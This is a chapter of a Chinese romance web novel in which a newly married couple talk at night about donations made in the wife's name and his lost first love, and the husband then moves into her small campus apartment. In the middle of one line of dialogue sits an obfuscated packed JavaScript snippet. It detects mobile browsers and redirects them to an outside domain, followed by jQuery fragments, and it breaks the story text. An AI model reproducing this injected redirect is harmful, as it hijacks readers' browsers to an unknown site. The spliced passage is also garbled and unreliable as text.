40. 同居

作品:《后来,豪门求她下嫁

    夜色渐浓。


    霍知枝躺在大床一侧,朝向宽阔的海面。这栋别墅地势很高,高得已经听不见海浪的呼啸,连林野间动物的低鸣、夜鸟的呼唤声都一并屏蔽了,房间里只剩下一种死寂般的安静。


    只有浴室传来淅淅沥沥的水声。


    霍知枝白天睡了太久,现在一点困意都没有。她睁着眼睛,漫无目的地眺望窗外的夜色。


    水声停了,霍知枝咽了口唾沫。


    接着,开门的声音、细细簌簌衣料摩擦的声音、拖鞋踩在地毯上的声音...


    她身后的半边床铺陷了下去。


    一股冷香袭来,倒不像是任何香水的味道,反倒让霍知枝产生了一股错觉,似乎她面前的那扇落地窗已经消失了。


    山野间磅礴的生机涌了上来,带着新鲜的绿意、带着挥之不去的阳光,穿透层层薄雾,沾满了整间卧室。


    她呼吸间满是他的味道。


    霍知枝有些不适应地僵了僵身子。


    她很久没和异性同床共枕过了。即便是七年前那些放肆的夜,他们也甚少这样。


    那时候的他们,要么是在岛上玩得筋疲力尽、倒头就睡,要么便是在床上做得酣畅淋漓,昏暗不知天色。


    他们不会这样,平静地相对而眠,像一对普通的夫妻。


    她睡不着,在黑夜里睁大了眼睛,时间的流逝成了不可捉摸的玄学,过了一会儿,身后传来平稳的呼吸声。


    明烛睡着了?


    霍知枝犹豫了一会儿,转身过去。


    男人平躺着,她只能看见他的侧脸,淡薄的嘴唇、高挺的鼻梁、微闭的眼眸。


    窗外照进一束稀薄的月色,静谧地覆在男人的脸庞,像皮肤上撒了一层冷银色的霜。


    霍知枝看了会儿,忽然觉得心里有很多话想问。


    例如,那顶着她的名义进行的捐款是不是他做的。


    例如,他和翁传煜闹了什么矛盾,为何要置翁氏于死地。


    再例如...他的白月光,最后找到了吗?


    这些话堵在嘴边,像悬而未决的堰塞湖,如果搞不清楚,稀里糊涂地过下去,终有一天会冲垮他们之间岌岌可危的关系。


    霍知枝想了想,择日不如撞日,她当即轻踹了一脚男人的小腿。


    “喂,明烛。”


    男人睁开眼睛,偏头沉静地看她,那眼神清澈透亮,一丝迷蒙的迹象都没有。


    原来他也没睡着啊。


    霍知枝心里舒畅了些,她温吞吞地开口,“我昨天下飞机的时候,遇见了一个小女孩儿,她说,有人以我的名义给全国各大福利院捐款。关于这件事,你有什么头绪吗?”


    明烛缓慢地合上眼,又睁开,他语气坦然,“是明氏集团出资做的。”


    霍知枝直勾勾盯着他,“为什么要以我的名义?”


    明烛道,“因为最初的一笔捐款,的确来自你,是你大学还给我的那批资金。”


    他说的冠冕堂皇、理所当然,似乎她那区区四十多万就可以取之不尽用之不竭,可她知道那只是杯水车薪。


    他心底还埋着更深的心思,没有告诉她。


    霍知枝又问,“那翁传煜怎么惹你了,你要对翁家赶尽杀绝?”


    她并不同情翁传煜,只是觉得好奇。


    明烛平淡道,“他野心太大,动了不该动的人。落得现在的下场,是咎由自取。”


    好吧,她对翁家的兴趣也就到此为止。


    霍知枝抬起明亮的眼睛,盯着男人,问出最后一个问题。


    “你的白月光,后来找到了吗?”


    黑夜里,明烛默不作声地望着她。霍知枝等了很久,久到她以为明烛已经不想再回答这个问题的时候,他却蓦然开口。


    “找到了。”他嗓音微哑。


    霍知枝心下微微一酸,这几乎是一种本能的反应,连她自己也无法控制。


    她在心中自嘲地叹息一声,嘴上却平静道,“是吗,那她现在在哪儿?”


    明烛依旧望着她的眼睛。没由来的,霍知枝在那双眼睛中读出了些许伤感和怆然。


    霍知枝心里咯噔一跳。


    难道她死了?虞文心是骗人的?


    可明烛却道,“她很好。”


    霍知枝松了一口气,“那很好啊,你怎么不去找她?”


    明烛苦笑一声,落寞阖眼,“我想,她大概不会原谅我。”


    “...”霍知枝轻声问,“你都做了什么?”


    他都做了什么?


    起初,他亲手造就了她未来十几年悲惨的光阴。


    后来,上天垂怜,将她再次送到他身边,他却盲心盲眼,没能认出她。


    终于,他在漫长而忏悔的等待中,迎来了第三次机会。


    那天,站在机场磅礴的人流中,他望着夏风猎猎吹起女孩儿的发丝,望着她站在路旁发呆,望着她一切如旧的眼眸。


    那时的他发誓,即便前路怒浪滔天,他也决不会再放开她的手。


    万物静谧中,明烛伸手,将她紧紧揽进怀里。


    霍知枝没动,她僵着身子,默默承受着男人身上这份无声的痛楚。


    霍知枝问,他都做了什么。


    他却觉得,他早该这样做。


    他该给她一个义无反顾的拥抱,在初次见面的病房里,在夕阳漫天的庄园前。


    在她失意落寞时送上温暖,在她满心欢喜时给予回应。


    如果他当初这么做了,就不会有这七年的间隙。


    她不会是现在这样,冷冷清清地靠在他怀里,不言不语。


    霍知枝只觉得腰上的手臂越来越紧,他像要把她嵌进自己的身体里,卑劣地换得一夜温暖。


    耳畔是男人沉重的呼吸,他说话时,整个身体都在颤。


    他说,“我什么都没做。”


    ...


    “你都做了什么?”


    “我什么都没做。”


    他只是在最该拥抱的瞬间,选择了沉默地背过身去。


    ...


    明烛的手臂收紧,随即又无力地垂下。


    她陷在这场晦涩的风暴的最中心,平静地呼吸。


    最后,霍知枝已经不记得自己是怎么睡着的了,她只是隐约感觉身上凉凉的,尤其是明烛曾经埋首的地方。


    她做了一场潮湿的梦。


    梦里大雨倾盆,她站在无边的雨幕里,不知年岁、不知情绪。


    后来,一人劈开了雨幕,紧紧将她揽入怀中,含情脉脉,“等我,我会回来救你。”


    霍知枝疑惑地抬起眼睛,“你是谁?为什么要救我?”


    可她还未看清来人的脸,下一秒,天旋地转。


    雨水蒸发,烈火熊熊。她被困在一场大火里,拼了命地呼喊着,“救命...救命!”


    可四周空无一人,没人回应她的呼救,只有噼里啪啦的焦炭声,世界向她倾塌而来。


    最后,她只能缩在角落里,无助地抱着自己通红的膝盖。脑海中只有一个念头——


    好像有个人说,会回来救她。


    是谁...?


    他...失约了...


    ...


    霍知枝平静地睁开双眼。


    身上的烧灼感如潮水般褪去,她掀开被子,淡定起身。


    这个梦她做了很多年,在国外的日子里,只要她情绪波动稍微大了些,夜里就会被拉入那场惨烈的火灾。


    这梦有什么深刻的含义呢?霍知枝也不太清楚,她全然当自己压力太大,才会梦见火啊、暴雨啊这类压抑的东西。


    卧室里已经没人了,她换好衣服走下楼梯,看见餐桌边坐着个寂静的身影。


    霍知枝挑了挑眉,道,“你没去上班?”


    明烛望她一眼,眼里没了昨夜的情绪,平淡如水,“今天是周六。”


    冯姐将她的那份早餐端上来,霍知枝刚吃两口,来了个电话。


    是她昨天下单的家具店,工人们说一个小时后到,问她在不在家。霍知枝回了句“在”,挂断电话后,她快速解决了早餐,一边擦嘴一边看向面容沉静的男人。


    她思忖半晌,开口道,“明烛,我最近应该不会住在这里。”


    男人闻声抬头,灼灼地盯着她。


    霍知枝不慌不忙道,“学校给我分了一间小公寓,就在校内,离学院很近,工作忙,我住在那里方便一些。”


    她说完,静静等待明烛的反应。


    她原以为明烛会一口否决她的想法,至少会出言阻拦,她也做足了心理准备,无论明烛如何批驳,她都不会改变自己的心意。


    这间别墅的确很好,只是离学校太远,开车也要半个小时。


    况且,别墅再好,也只是明烛的房子,不是她的家。


    可预料之中的疾风骤雨并未来临,男人目色沉沉,道了句,“好。”


    ...就这样?


    霍知枝心中哑然,只觉得明烛最近真好说话。


    似乎从他们领证之后,他就变了一个人,不像从前那么冷硬偏执了。


    这是好事,省了她许多口舌。她顺势又道,“那辆车我暂时也不需要,校内很近,没有用车的场景。”


    明烛却淡淡道,“车收下吧。除了你,这个家里也没人能开那辆车。”


    霍知枝默了默。


    的确,那辆银色小奥迪属实不是明烛的风格。


    让冯姐开去买菜?未免有点太招摇了。


    她道,“好吧。那我等会儿把车钱打你卡上。”


    明烛却已放下筷子,清灵的“叮”一声。


    “不必。就当是结婚礼物。”


    再推辞就显得有些矫情了,霍知枝静默一会儿,回道,“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456024|179505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好。”


    吃完早餐,她独自开车回到学校,正好碰上送家具的工人。她在国外的习惯还没改过来,顺手给了些小费,工人们脸上挂着朴实的笑,义不容辞地帮她把家具组装摆好,连垃圾都清扫走了,给她节省了不少麻烦。


    她整理行李时,余光扫到一个纸箱。她打开一看,是七年前寄存在明氏老宅的东西。


    那时她觉得这些东西不方便带去国外,深城的房子也即将退租,没有安家之处,索性放在清京没有带回来。


    时隔七年再次打开,她看着一件件斑驳的旧物有些感慨,拿在手里过了一遍,却觉得似乎少了点什么东西。


    是什么呢?


    霍知枝低头沉吟片刻,恍然想起,那只小鸟玩偶不见了。


    不是什么重要的东西,她记在心里,准备下次碰见明烛的时候再问问。


    忙完过后,她简单地吃过午饭,给乔斑斓打了个电话。


    午后,她们在深城一家商场见面。


    乔斑斓梳着一条高马尾,活力满满地捧着一杯冰淇淋大快朵颐。


    霍知枝挑眉笑道,“呦,背着你家肖教授偷偷吃冰的,不怕他生气?”


    乔斑斓吃得一脸满足,“管他呢,先爽完再说。”


    她们在商场里逛了起来。霍知枝这次出门是要给明烛挑个礼物,既然他都送了自己一台车,那她也得回送点东西才算礼貌。


    “送点什么好呢?手表?袖扣?西装?”


    乔斑斓苦恼地拧着眉,“明总什么都不缺吧,这礼物还真不好送。”


    霍知枝也觉得头疼。就她所知,明烛的大部分用品都是私人定制的,根本找不到品牌,剩下的都是些国内外又小众又死贵死贵的牌子,商场根本买不到。


    她们在商场里逛了两圈,走得她腿都酸了,最后,她只好在YSL给明烛买了个最贵的男包,勉强抵得上那辆小奥迪的价格。


    ...


    买完礼物,她们又一起吃了顿晚餐,告别之际,乔斑斓依依不舍道,“老肖还在学校加班呢,今晚我得一个人睡了,呜呜呜...”


    霍知枝手上还提着礼物,想了想,问道,“要不今晚住我家?”


    乔斑斓的眼睛顿时亮起来,“真的?!好耶!等你下周开始去学校上班,可就抽不出这么多放松的时间了。”


    两人开着小奥迪回到霍知枝的住处,有说有笑地出了电梯,走到门边,两人却同时一愣。


    乔斑斓呆呆地指了指大门,“枝枝...你家有客人?”


    霍知枝看着敞开的门缝里明亮的灯光,皱眉道,“没有。”


    “那...那是进贼了?!”乔斑斓惊恐地捂住嘴巴。


    霍知枝镇定地拉开门。


    略显空旷的客厅里,亮着一盏暖黄色的吸顶灯,照得她新买的绿植都病怏怏的。门边立着一个深色商务行李箱,而她新买的姜黄色沙发上,静静坐着一个男人。


    明烛双腿交叠,手里拿着一本杂志,见到她的身影,抬眸道,“回来了?”


    语气那么自然,仿佛他就住在这里。


    霍知枝觉得头顶盘旋着一阵荒谬,“你怎么在这儿...不对,你怎么进来的?”


    明烛放下杂志,淡淡道,“你会用的密码这么多年都没变,很好猜。”


    “...”霍知枝叹了口气,“那你为什么会出现在这儿?”


    明烛从容地站起身。


    “明太太,容我再次提醒你,我们已经结婚了。”


    霍知枝,“所以呢?”


    明烛,“我身心健康良好,暂时没有分居的打算。”


    霍知枝看着脚边的行李箱,不可置信地开口,“难道你要搬到这里?”


    男人的眼睛里明晃晃地写着三个字,“不然呢?”


    疯了吧,放着他的大别墅不住,要和她住这个八十平的公寓?


    霍知枝还试图和他讲道理,“这里离你公司挺远的,房子小,你肯定住不习惯...”


    明烛却已然走到她面前,“嫁鸡随鸡,嫁狗随狗,既然你决定要住在这儿,那我便陪你。”


    霍知枝干巴巴地张了张嘴,哑口无言。


    “那个...两位...”


    乔斑斓从她身后颤颤巍巍地探出脑袋,“要不...我先走了?”


    霍知枝这才想起来乔斑斓还在这里,今晚没法儿和她一起睡了,霍知枝有点头疼,转身道,“走,我送你回去。”


    乔斑斓本想答应,可她一抬头,望进明烛漠然的眼睛里,浑身一个激灵,瞬间改口。


    “不...不用了!我自己打车回去!”


    她边说边狂奔到电梯旁,死死地锤着下行按钮,直到钻进电梯,才哆哆嗦嗦地松了一口气。


    明总的眼神...太可怕了。


    霍知枝竟然能天天直面那种眼神,还不畏缩,真牛逼。